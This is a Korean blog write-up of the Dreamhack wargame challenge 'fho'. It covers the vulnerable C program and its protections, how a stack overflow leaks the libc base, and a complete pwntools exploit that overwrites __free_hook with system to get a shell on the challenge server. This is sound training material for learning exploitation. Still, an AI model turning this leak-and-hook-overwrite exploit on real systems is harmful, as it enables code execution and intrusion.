문제 : https://dreamhack.io/wargame/challenges/355
fho
Description Exploit Tech: Hook Overwrite에서 실습하는 문제입니다. Challenge Updates 2023.04.27: Dockerfile이 제공됩니다.
dreamhack.io
Environment
[*] '/home/minzu/Dreamhack/fho/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
- Canary : canary를 leak하는 과정이 필요하다
- NX enabled : 스택에 실행 권한이 존재하지 않는다.
- Full RELRO : 메모리에 쓰기 권한이 없다 -> 보통 got overwrite 기법이 불가능하다
- PIE enabled : 코드 영역의 주소가 변화한다.
Code Analysis
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
Vulnerability Type : Stack buffer Overflow (BOF)
현재 buf는 0x30만큼 할당되어있다.
read는 0x100만큼 입력받기 때문에 read할 때 입력의 크기 제한 보다 buf의 크기가 작으므로 스택 오버플로우 가능성이 존재한다.
해당 코드를 취약하다고 판단한 이유는 다음과 같다.
- 입력 크기 제한 > 버퍼 크기
- 스택 상 연속된 메모리 구조 침범 가능성
- 실행 흐름 조작 가능성 -> return addr에 접근할 수 있음
- 보호 기법을 bypass할 수 있음 -> canary leak 등
이에 따라 해당 코드는 익스플로잇이 가능하다.
Exploit Idea
- main의 return 값을 이용하여 libc_base leak
- system('/bin/sh')으로 free_hook을 덮어쓰기
원가젯으로 hook을 덮을 수 있다.
하지만, 원가젯은 사용하지 못할 가능성이 더 높기 때문에 바로 system('/bin/sh')로 덮기로 하였다.
이번에는 canary를 leak할 필요가 없다.
카나리에 접근하기 전에 hook을 overwrite하는 것이기 때문이다
* 익스플로잇에 필요한 재료들을 잘 파악해보자
Ingredients of Exploit
이미 hook에 쓰고, 읽는 것은 해결해주고 있다.
따라서 우리한테 필요한 것들을 자세히 생각해보자
- libc_base의 주소
libc_base의 주소를 어떻게 구할 수 있을까?
우리는 현재 스택 버퍼 오버플로우를 이용하여 스택에 존재하는 값을 읽을 수 있다.
libc에 포함되어 있는 부분의 주소를 읽기 위해서 buf부터 ret까지 libc와 관련된 부분은 ret뿐이다.
main 함수는 __libc_start_main이라는 라이브러리 함수를 통해 호출되기 때문에
ret 부분에 저장되어 있는 값을 통해서 libc_base 주소를 구할 수 있다.
Stack Frame
Exploit Scenario
libc_base 주소 계산
main의 return addr에는 libc_start_main의 함수 주소 중 “중간”부분(어딘지는 모름) 리턴해야하는 주소가 존재한다.
따라서 libc_start_main의 “어디”에서 리턴하는지 알아내야한다.
즉, libc_base = leak된 주소 - libc_start_main + 리턴 위치(offset)인 것이다.
디버깅해서 내가 정확히 어디로 리턴하는지 알아내야한다.
나는 도커를 빌드해서 밖에서 gdb를 붙여서 실행했다.
도커를 실행 한 후, 안에서 디버거를 설치하면 디버거의 libc가 다른 걸로 변경 될 수 있다.
도커를 빌드한 후, 밖에서 디버거를 붙여 사용하도록 하자
return 하는 부분을 살펴보면
pwndbg> x/i 0x00007f5ae2f1cc87
0x7f5ae2f1cc87 <__libc_start_main+231>: mov edi,eax
이렇게 되어있다.
따라서 지금 ret에 저장되어 있는 것은 __libc_start_main + 231이다.
ret을 어떻게 해야 leak할 수 있을까?
우리가 0x48바이트를 입력하게 된다면, 끝에 NULL 바이트를 넣지 않으면 NULL 바이트가 나올 때까지 출력하게 된다.
따라서 ret까지 info leak을 시도할 수 있는 것이다.
free hook -> system
free hook을 system의 주소로 덮는다.
write : free_hook
with : system
해주게 되면, 자동으로 free_hook의 포인터가 system을 가리키게 된다.
이후, free('/bin/sh')를 실행시키면 된다.
Exploit
from pwn import *
p = remote('host3.dreamhack.games',11653)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
leak_payload = b'A' * 0x48
p.sendafter('Buf: ', leak_payload)
p.recvuntil(leak_payload)
libc_start_main_offset = u64(p.recvline()[:-1] + b'\x00' * 2)
libc_base = libc_start_main_offset - (libc.sym['__libc_start_main'] + 231)
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))
p.sendlineafter('write: ', str(free_hook).encode())
p.sendlineafter('With: ', str(system).encode())
p.sendlineafter('free: ', str(binsh).encode())
p.interactive()
Question & Learn
Docker와 GDB
docker로 빌드한 환경에 gdb를 설치했더니, gdb 설치의 영향인지 libc의 버전이 바뀌게 되었다.
개인적으로는 해당 글을 참고하여 문제를 해결하였다.
포너블 로되리안을 해결하는 개쩌는 방법
포너블을 주분야로 하는 포너라면 누구나 공감하는 개빡치는 순간이 있다. 바로 로컬에서 exploit에 성공했는데 remote에서는 실패할때다. 이런 개빡치는 상황을 로컬에선 되고 리모트에선 안된다
blog.sechack.kr
docker와 커널을 공유하기 때문에, 밖에서 gdb를 붙여서 사용할 수 있다
Exploit의 재료
당연히 카나리를 leak해야한다고 생각했다.
하지만, 이번 경우에는 ret addr가 필요하지만, ret addr의 leak이 필요한 것이지, 이걸 덮는 것이 목적이 아니었다
따라서, 카나리를 덮지만 덮지 않은 효과가 나타난다. info leak을 위해 덮은 것 뿐이고, 카나리를 확인하는 과정 전에서 이미 exploit 되기 때문이다.
익스플로잇 방법에 따라서 익스플로잇에 어떤 것이 필요한지 정확히 파악하는 것이 중요할 것 같다.
'Hacking > Write Up' 카테고리의 다른 글
[Pwnable] oneshot (0) | 2025.05.16 |
---|---|
[Reversing] Easy Assembly (0) | 2025.05.10 |
[Pwnable] basic_rop_x86 (0) | 2025.05.08 |
[Pwnable] basic_rop_x64 (0) | 2025.01.01 |
[Pwnable] rop (0) | 2024.12.29 |